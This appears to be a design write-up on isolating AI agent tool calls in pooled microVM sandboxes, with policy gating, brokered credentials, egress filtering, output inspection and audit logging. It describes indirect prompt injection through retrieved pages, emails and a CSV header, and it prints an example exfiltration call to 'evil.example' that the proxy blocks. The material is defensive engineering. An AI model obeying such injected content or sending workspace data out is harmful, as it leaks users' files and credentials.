Why architecture matters here
The naive design — the agent process shells out to subprocess.run on the same host — collapses three trust domains into one. The orchestrator holds API keys and session state for many users; the tool code is generated by a model that attackers can influence through content; and the host OS holds everything else. One successful injection ('run this helpful script') and the attacker reads the orchestrator's environment variables, which typically contain credentials for every downstream system. This is not hypothetical: indirect prompt injection through a retrieved web page or an inbound email is the canonical attack, and it requires no access to your systems at all — only to content your agent will read.
Architecture matters because the failure is asymmetric. An agent platform executes millions of tool calls, and security is decided by the worst one. Per-call isolation converts a catastrophic outcome (host compromise, credential theft, lateral movement) into a bounded one: the attacker controls a disposable VM with no secrets, a filtered network, and a five-minute lifespan. The same structure also solves reliability problems that have nothing to do with attacks — a tool that pins a CPU or leaks memory takes down its slot, not the platform — and multi-tenancy, because two customers' tool calls never share a kernel view.
The counter-pressure is latency and cost. Full VM isolation per call sounds expensive, which is why teams talk themselves into shared containers or, worse, in-process eval. The architectural insight that makes strong isolation affordable is pooling: microVMs like Firecracker boot in ~125ms and idle at a few MB of memory, so a warm pool of pre-booted slots makes the marginal cost of real isolation close to zero. The design problem is not whether to isolate — it is engineering the pool, the policy path, and the brokered resources so isolation is the cheap default rather than the expensive exception.
The architecture: every piece explained
Top row: the decision and placement path. The agent orchestrator runs the model loop and emits tool calls as structured requests — tool name, arguments, session identity, and provenance metadata (which context sources influenced this turn). The policy engine is the gate: a versioned rule set evaluated on every call, deciding allow, deny, or transform. Rules key on tool identity (a SQL tool may only receive SELECT), argument shape (paths must fall under the session workspace), session posture (a session that just ingested untrusted web content may lose high-privilege tools — a taint model), and rate (a session suddenly issuing fifty file reads a minute gets throttled and flagged). Deny decisions return to the model as tool errors, which matters: agents retry, so the message should be safe to show but useless for probing.
The sandbox scheduler owns a pool of pre-warmed isolation slots and assigns one per approved call. The isolation spectrum is a real choice: Firecracker-class microVMs give a separate guest kernel — the strongest practical boundary — at ~125ms cold boot; gVisor intercepts syscalls in a userspace kernel, cheaper but with a larger shared surface; WASM runtimes suit pure computation with no syscall surface at all. Serious platforms run tiers: WASM for calculators and parsers, microVMs for arbitrary code execution.
Middle row: brokered resources — the heart of the design. The slot receives nothing ambient. The secrets broker mints short-lived, narrowly scoped credentials per call (a token for one bucket prefix, expiring in minutes) so code inside the sandbox never sees long-lived keys. The egress proxy is the only network path — the slot has no default route — enforcing per-tool domain allowlists, TLS inspection where policy permits, and DLP scanning on request bodies so a hijacked call cannot POST the workspace to an attacker's server. The scoped filesystem is an overlay containing only session workspace files, with quotas and no host mounts. Resource limits — CPU shares, memory ceiling, wall-clock timeout, process count — are enforced by the hypervisor or cgroup, not by the tool's goodwill.
Bottom row: the return path. Output inspection scans tool results before they rejoin the model context — secret patterns that should never appear (canary tokens planted in the workspace make exfiltration detection trivial), size caps so a tool cannot flood the context window, and injection heuristics on text destined for the prompt. The audit log records every call, policy decision, resource consumption, and file diff, append-only and off-host, because it is both your forensic record and your training signal for tightening policy.
End-to-end flow
Follow one call: an agent handling 'summarize the CSVs in my workspace and chart the totals' decides to run Python. Step 1 — request. The orchestrator emits execute_python(code=..., files=[sales_q1.csv, sales_q2.csv]) tagged with session ID and a provenance note that the session earlier ingested an external web page — the context is tainted. Step 2 — policy. The engine allows execute_python for this tenant, but the taint flag downgrades network access: this call gets no egress except the package mirror. The decision, rule version, and inputs hash land in the audit log.
Step 3 — placement. The scheduler pulls a warm Firecracker slot (booted 40 seconds ago, never used), binds the session's two CSVs into the overlay read-only with a writable /out, applies limits — 1 vCPU, 512MB, 120s wall-clock — and asks the secrets broker for credentials. Answer: none needed; this call gets no tokens at all, the best kind of credential hygiene. Step 4 — execution. The code runs. It imports pandas from the mirror through the egress proxy (allowed), computes, writes chart.png. Suppose the CSV's header row contained an injected instruction and the generated code also tries requests.post('http://evil.example/collect', ...) — the proxy refuses (domain not on the allowlist, and this call is taint-restricted anyway), logs the attempt, and raises the session's anomaly score.
Step 5 — harvest. At exit (or timeout), the runtime collects stdout, stderr, and declared outputs from /out. Output inspection checks size caps, scans text for canary tokens and secret-shaped strings, and tags the result as machine-generated content so downstream prompt assembly can fence it. Step 6 — teardown. The slot is destroyed — never reused across calls — and the pool refills in the background. The orchestrator receives the sanitized result plus the security events; the anomaly from step 4 may trigger a policy downgrade for the rest of the session or a human review, depending on tenant configuration. Total overhead versus raw execution: tens of milliseconds of placement plus the inspection pass — invisible next to model latency.